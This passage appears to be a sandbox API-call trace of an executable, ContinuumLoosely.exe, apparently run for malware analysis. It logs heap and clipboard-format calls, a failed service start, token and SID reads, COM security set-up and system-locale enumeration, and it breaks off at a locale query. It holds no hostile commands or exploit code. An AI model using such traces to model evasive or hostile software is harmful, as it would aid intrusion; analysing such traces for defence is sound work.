MemoryPointer=0x202f8b0) returned 0x100 [0024.899] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.899] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.900] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.900] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.900] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.900] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.900] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.901] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.901] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.901] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.901] RegisterClipboardFormatA (lpszFormat="AFX_WM_CHANGEVISUALMANAGER") returned 0xc144 [0024.901] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x13) returned 0x2470120 [0024.902] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.902] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x20) returned 0x202e280 [0024.902] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.902] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x13) returned 0x2470140 [0024.902] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.903] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x19) returned 0x202e2a8 [0024.903] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.903] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.903] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.903] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.903] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.904] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.904] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.904] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x100 [0024.904] RtlReAllocateHeap (Heap=0x2020000, Flags=0x0, Ptr=0x202f8b0, Size=0x200) returned 0x202f8b0 [0024.904] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.904] RegisterClipboardFormatA (lpszFormat="MSG_CHECKEMPTYMINIFRAME") returned 0xc145 [0024.905] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.905] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.905] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x20) returned 0x202e2d0 [0024.905] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.905] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.905] RegisterClipboardFormatA (lpszFormat="AFX_WM_ON_AFTER_SHELL_COMMAND") returned 0xc146 [0024.906] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.906] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x14) returned 0x2470160 [0024.906] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.906] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.906] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x13) returned 0x2470180 [0024.906] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.907] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.907] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.907] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x13) returned 0x24701a0 [0024.907] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.907] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1d) returned 0x202e2f8 [0024.908] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.908] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x20) returned 0x202e320 [0024.908] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.908] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1f) returned 0x202e348 [0024.908] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.908] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x16) returned 0x24701c0 [0024.908] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.908] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x24701e0 [0024.908] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.909] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1c) returned 0x202e370 [0024.909] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.909] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x22) returned 0x202ee30 [0024.909] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.909] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x16) returned 0x2470200 [0024.909] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.909] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x16) returned 0x2470220 [0024.909] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.910] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x23) returned 0x202ee60 [0024.910] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.910] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.910] RegisterClipboardFormatA (lpszFormat="AFX_WM_UPDATETOOLTIPS") returned 0xc147 [0024.910] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x13) returned 0x2470240 [0024.910] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.911] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x24) returned 0x202ee90 [0024.911] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.911] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.911] RegisterClipboardFormatA (lpszFormat="AFX_WM_POSTSETPREVIEWFRAME") returned 0xc148 [0024.911] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1e) returned 0x202e398 [0024.911] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.911] RegisterClipboardFormatA (lpszFormat="AFX_WM_ON_MOVETOTABGROUP") returned 0xc149 [0024.911] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.912] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x21) returned 0x202eec0 [0024.912] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.912] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x16) returned 0x2470260 [0024.912] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.912] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1a) returned 0x202e3c0 [0024.912] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.912] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.913] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x13) returned 0x2470280 [0024.913] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.913] RegisterClipboardFormatA (lpszFormat="AFX_WM_POSTRECALCLAYOUT") returned 0xc14a [0024.913] RegisterClipboardFormatA (lpszFormat="AFX_WM_ON_CHANGE_RIBBON_CATEGORY") returned 0xc14b [0024.913] RegisterClipboardFormatA (lpszFormat="AFX_WM_ON_RIBBON_CUSTOMIZE") returned 0xc14c [0024.913] RegisterClipboardFormatA (lpszFormat="AFX_WM_ON_HIGHLIGHT_RIBBON_LIST_ITEM") returned 0xc14d [0024.913] RegisterClipboardFormatA (lpszFormat="AFX_WM_ON_BEFORE_SHOW_RIBBON_ITEM_MENU") returned 0xc14e [0024.913] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1b) returned 0x202e3e8 [0024.913] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.913] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1b) returned 0x202e410 [0024.913] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.914] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x24702a0 [0024.914] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.914] RegisterClipboardFormatA (lpszFormat="AFX_WM_ON_HSCROLL") returned 0xc14f [0024.914] RegisterClipboardFormatA (lpszFormat="AFX_WM_GETDRAGBOUNDS") returned 0xc150 [0024.914] RegisterClipboardFormatA (lpszFormat="AFX_WM_ON_DRAGCOMPLETE") returned 0xc151 [0024.914] RegisterClipboardFormatA (lpszFormat="AFX_WM_ON_TABGROUPMOUSEMOVE") returned 0xc152 [0024.914] RegisterClipboardFormatA (lpszFormat="AFX_WM_ON_CANCELTABMOVE") returned 0xc153 [0024.914] RegisterClipboardFormatA (lpszFormat="AFX_WM_ON_MOVETABCOMPLETE") returned 0xc154 [0024.914] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.914] GetSystemMetrics (nIndex=69) returned 4 [0024.914] GetSystemMetrics (nIndex=68) returned 4 [0024.915] RegisterClipboardFormatA (lpszFormat="AFX_WM_ON_PRESS_CLOSE_BUTTON") returned 0xc155 [0024.915] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x13) returned 0x24702c0 [0024.915] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.915] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x13) returned 0x24702e0 [0024.915] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.915] RegisterClipboardFormatA (lpszFormat="WINDOW_HELP") returned 0xc156 [0024.915] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x13) returned 0x2470300 [0024.915] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.916] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.916] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x13) returned 0x2470320 [0024.916] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.916] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.916] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x16) returned 0x2470340 [0024.916] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.917] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.917] RegisterClipboardFormatA (lpszFormat="AFX_WM_ON_RENAME_TAB") returned 0xc157 [0024.918] RegisterClipboardFormatA (lpszFormat="AFX_WM_ONCHANGE_ACTIVE_TAB") returned 0xc158 [0024.918] RegisterClipboardFormatA (lpszFormat="AFX_WM_ON_MOVE_TAB") returned 0xc159 [0024.918] RegisterClipboardFormatA (lpszFormat="AFX_WM_ON_CHANGING_ACTIVE_TAB") returned 0xc15a [0024.918] RegisterClipboardFormatA (lpszFormat="AFX_WM_ON_GET_TAB_TOOLTIP") returned 0xc15b [0024.918] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x13) returned 0x2470360 [0024.919] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.919] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x13) returned 0x2470380 [0024.919] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.919] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.919] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x13) returned 0x24703a0 [0024.920] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.920] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x13) returned 0x24703c0 [0024.920] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.920] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.920] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.920] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.921] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.921] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.921] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.921] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.921] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.921] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x202f8b0) returned 0x200 [0024.921] RegisterClipboardFormatA (lpszFormat="TOOLBAR__GETDOCUMENTCOLORS") returned 0xc15c [0024.921] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x16) returned 0x2470400 [0024.921] RtlReAllocateHeap (Heap=0x2020000, Flags=0x0, Ptr=0x202f8b0, Size=0x400) returned 0x202f8b0 [0024.921] RegisterClipboardFormatA (lpszFormat="commdlg_FindReplace") returned 0xc0fe [0024.922] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x13) returned 0x24704a0 [0024.922] RegisterClipboardFormatA (lpszFormat="Native") returned 0xc004 [0024.922] RegisterClipboardFormatA (lpszFormat="OwnerLink") returned 0xc003 [0024.922] RegisterClipboardFormatA (lpszFormat="ObjectLink") returned 0xc002 [0024.922] RegisterClipboardFormatA (lpszFormat="Embedded Object") returned 0xc00a [0024.922] RegisterClipboardFormatA (lpszFormat="Embed Source") returned 0xc00b [0024.922] RegisterClipboardFormatA (lpszFormat="Link Source") returned 0xc00d [0024.922] RegisterClipboardFormatA (lpszFormat="Object Descriptor") returned 0xc00e [0024.922] RegisterClipboardFormatA (lpszFormat="Link Source Descriptor") returned 0xc00f [0024.922] RegisterClipboardFormatA (lpszFormat="FileName") returned 0xc006 [0024.922] RegisterClipboardFormatA (lpszFormat="FileNameW") returned 0xc007 [0024.922] RegisterClipboardFormatA (lpszFormat="Rich Text Format") returned 0xc0b1 [0024.922] RegisterClipboardFormatA (lpszFormat="RichEdit Text and Objects") returned 0xc0b7 [0024.922] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40e0d0) returned 0x515720 [0024.922] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fce8 | out: lpWSAData=0x18fce8) returned 0 [0024.940] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x580a90, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ContinuumLoosely.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\continuumloosely.exe")) returned 0x3a [0024.940] GetLastError () returned 0x0 [0024.940] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ContinuumLoosely.exe\" " [0024.941] LoadStringA (in: hInstance=0x400000, uID=0x64, lpBuffer=0x580818, cchBufferMax=256 | out: lpBuffer="") returned 0x0 [0024.941] GetLastError () returned 0x716 [0024.941] StartServiceCtrlDispatcherA (lpServiceTable=0x18fe68*(lpServiceName="", lpServiceProc=0x40bd60)) returned 0 [0024.979] RegisterServiceCtrlHandlerA (lpServiceName="", lpHandlerProc=0x40bd80) returned 0x0 [0024.979] GetLastError () returned 0x427 [0024.979] SetServiceStatus (hServiceStatus=0x0, lpServiceStatus=0x58091c*(dwServiceType=0x10, dwCurrentState=0x2, dwControlsAccepted=0x1, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0024.979] GetCurrentThreadId () returned 0x954 [0024.979] CoInitialize (pvReserved=0x0) returned 0x0 [0024.981] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x14) returned 0x24704c0 [0024.981] InitializeSecurityDescriptor (in: pSecurityDescriptor=0x24704c0, dwRevision=0x1 | out: pSecurityDescriptor=0x24704c0) returned 1 [0024.981] GetCurrentThread () returned 0xfffffffe [0024.981] OpenThreadToken (in: ThreadHandle=0xfffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x18fd54 | out: TokenHandle=0x18fd54*=0x0) returned 0 [0024.981] GetLastError () returned 0x3f0 [0024.981] GetCurrentProcess () returned 0xffffffff [0024.981] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fd58 | out: TokenHandle=0x18fd58*=0x178) returned 1 [0024.981] GetTokenInformation (in: TokenHandle=0x178, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fd14 | out: TokenInformation=0x0, ReturnLength=0x18fd14) returned 0 [0024.981] GetLastError () returned 0x7a [0024.981] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x24) returned 0x202ef20 [0024.981] GetTokenInformation (in: TokenHandle=0x178, TokenInformationClass=0x1, TokenInformation=0x202ef20, TokenInformationLength=0x24, ReturnLength=0x18fd14 | out: TokenInformation=0x202ef20, ReturnLength=0x18fd14) returned 1 [0024.981] IsValidSid (pSid=0x202ef28*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 1 [0024.981] GetLengthSid (pSid=0x202ef28*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0x1c [0024.981] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1c) returned 0x202e4d8 [0024.981] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x202e4d8, pSourceSid=0x202ef28*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)) | out: pDestinationSid=0x202e4d8*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 1 [0024.981] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202ef20 | out: hHeap=0x2020000) returned 1 [0024.981] GetTokenInformation (in: TokenHandle=0x178, TokenInformationClass=0x5, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fd14 | out: TokenInformation=0x0, ReturnLength=0x18fd14) returned 0 [0024.981] GetLastError () returned 0x7a [0024.981] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x20) returned 0x202e500 [0024.981] GetTokenInformation (in: TokenHandle=0x178, TokenInformationClass=0x5, TokenInformation=0x202e500, TokenInformationLength=0x20, ReturnLength=0x18fd14 | out: TokenInformation=0x202e500, ReturnLength=0x18fd14) returned 1 [0024.981] IsValidSid (pSid=0x202e504*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 1 [0024.981] GetLengthSid (pSid=0x202e504*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0x1c [0024.982] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1c) returned 0x202e528 [0024.982] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x202e528, pSourceSid=0x202e504*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)) | out: pDestinationSid=0x202e528*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 1 [0024.982] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e500 | out: hHeap=0x2020000) returned 1 [0024.982] CloseHandle (hObject=0x178) returned 1 [0024.982] SetSecurityDescriptorOwner (in: pSecurityDescriptor=0x24704c0, pOwner=0x0, bOwnerDefaulted=0 | out: pSecurityDescriptor=0x24704c0) returned 1 [0024.982] IsValidSid (pSid=0x202e4d8*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 1 [0024.982] GetLengthSid (pSid=0x202e4d8*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0x1c [0024.982] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1c) returned 0x202e500 [0024.982] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x202e500, pSourceSid=0x202e4d8*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)) | out: pDestinationSid=0x202e500*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 1 [0024.982] SetSecurityDescriptorOwner (in: pSecurityDescriptor=0x24704c0, pOwner=0x202e500*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), bOwnerDefaulted=0 | out: pSecurityDescriptor=0x24704c0) returned 1 [0024.982] SetSecurityDescriptorGroup (in: pSecurityDescriptor=0x24704c0, pGroup=0x0, bGroupDefaulted=0 | out: pSecurityDescriptor=0x24704c0) returned 1 [0024.982] IsValidSid (pSid=0x202e528*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 1 [0024.982] GetLengthSid (pSid=0x202e528*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0x1c [0024.982] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1c) returned 0x202e550 [0024.982] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x202e550, pSourceSid=0x202e528*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)) | out: pDestinationSid=0x202e550*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 1 [0024.982] SetSecurityDescriptorGroup (in: pSecurityDescriptor=0x24704c0, pGroup=0x202e550*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), bGroupDefaulted=0 | out: pSecurityDescriptor=0x24704c0) returned 1 [0024.982] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e4d8 | out: hHeap=0x2020000) returned 1 [0024.982] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e528 | out: hHeap=0x2020000) returned 1 [0024.982] CoInitializeSecurity (pSecDesc=0x24704c0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0024.995] GetLastError () returned 0x0 [0024.995] EnumSystemLocalesA (lpLocaleEnumProc=0x51dfe4, dwFlags=0x1) returned 1 [0025.032] GetLastError () returned 0x0 [0025.032] GetLocaleInfoA (in: Locale=0x401, LCType=0x1001, lpLCData=0x18c498, cchData=120 | out: lpLCData="Arabic") returned 7 